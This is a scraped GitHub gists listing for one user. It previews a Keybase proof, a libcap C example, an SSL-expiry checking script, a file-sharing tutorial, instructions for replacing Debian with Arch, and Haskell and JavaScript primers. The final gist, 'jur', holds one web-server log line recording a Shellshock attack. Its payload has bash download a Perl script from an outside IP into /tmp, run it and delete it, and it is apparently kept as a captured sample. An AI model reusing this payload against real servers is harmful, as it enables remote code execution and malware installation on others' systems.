Skip to content

Instantly share code, notes, and snippets.

Keybase proof

I hereby claim:

  • I am visar on github.
  • I am vnz (https://keybase.io/vnz) on keybase.
  • I have a public key ASAqnohSojo2dcwlbWcvViGgxSaSZf8KP0VrvobRSXuBZgo

To claim this, I am signing this object:

@visar
visar / lcap.c
Created March 7, 2016 10:43 — forked from sbz/lcap.c
example of using linux capabilities interface libcap(3) and dump capabilities flags for the running process
#include <sys/capability.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int
main(void) {
pid_t pid;
cap_t cap;
@visar
visar / check-ssl-expiry.sh
Created March 3, 2016 10:15 — forked from gdamjan/check-ssl-expiry.sh
cgi bin script to check ssl domains for expiry - https://damjan.softver.org.mk/cgi-bin/ssl.sh
#!/bin/bash
set -x
WARNDAYS=30
PANICDAYS=6
DOMAIN_LIST_URL=https://raw.githubusercontent.com/skopjehacklab/dns-zone-files/master/ssl/list_of_ssl_enabled_domains.txt
WARNSECONDS=$(($WARNDAYS * 24 * 60 * 60))
PANICSECONDS=$(($PANICDAYS * 24 * 60 * 60))
@visar
visar / file-share-linux.md
Created March 2, 2016 12:16 — forked from whoeverest/file-share-linux.md
How to make a personal file upload server

Simple file sharing, with Nginx and scp

This is a tutorial that teaches you how to create your own simple file-sharing service. It works in the terminal.

Usage:

$ share ~/pictures/my-funny-kitten.png
http://files.YOURDOMAIN.com/my-funny-kitten.png
@visar
visar / replace-debian-with-arch.txt
Created February 9, 2016 12:53 — forked from m-ou-se/replace-debian-with-arch.txt
Instructions to replace a live Debian installation with Arch
# Download latest archlinux bootstrap package, see https://www.archlinux.org/download/
wget http://ftp.nluug.nl/os/Linux/distr/archlinux/iso/2016.01.01/archlinux-bootstrap-2016.01.01-x86_64.tar.gz
# Make sure you'll have enough entropy for pacman-key later.
apt-get install haveged
# Install the arch bootstrap image in a tmpfs.
mount -t tmpfs none /mnt
cd /mnt
tar xvf ~/archlinux-bootstrap-2016.01.01-x86_64.tar.gz --strip-components=1
@visar
visar / keybase.md
Created August 31, 2015 13:50
keybase.md

Keybase proof

I hereby claim:

  • I am visar on github.
  • I am vnz (https://keybase.io/vnz) on keybase.
  • I have a public key whose fingerprint is 7836 E0F7 D095 E695 6318 8331 3583 A0F2 103E 5247

To claim this, I am signing this object:

@visar
visar / INSTALLATION.md
Last active August 29, 2015 14:26 — forked from olegakbarov/INSTALLATION.md
OS X 10.11 El Capitan: clean install

OS X 10.11 (El Capitan) / Node.js Developer Environment

Custom recipe to get OS X 10.11 El Capitan running from scratch with useful applications and Node.js Developer environment. I use this gist to keep track of the important software and steps required to have a functioning system after fresh install.

Content

Understanding this in JavaScript

It's easy to trip up on the meaning of this in JavaScript. The behavior is very different from other languages, which means we have to throw most preconceptions and intuition out the window.

The best way to think of this in JS is as a hidden argument which is passed in a slightly awkward way. Instead of the normal passing of arguments:

fn(arg1, arg2, arg3)
@visar
visar / intro.lhs
Last active August 29, 2015 14:09 — forked from wei2912/intro.lhs
Introduction to Haskell
---
This document is in Literate Haskell. This means that you can download and run this file with `ghci intro.lhs`, and be able to run the functions defined in this file.
Haskell is a pure functional programming language that comes with lazy evaluation (in GHC, that is). Its elegance is why many programmers like writing code in Haskell. In this document, I'll give a couple of examples.
This document assumes that the reader has at least an intermediate knowledge in an imperative programming language, but does not assume knowledge of functional programming.
Also, this document is not intended to teach Haskell. This document is intended to explain the code just briefly, such that the reader understands what the code is doing.
@visar
visar / jur
Last active August 29, 2015 14:06
GET /cgi-bin/hello HTTP/1.0" 301 0 "-" "() { :;}; /bin/bash -c \x22cd /tmp;wget http://213.5.67.223/jur;curl -O http://213.5.67.223/jur ; perl /tmp/jur;rm -rf /tmp/jur\x22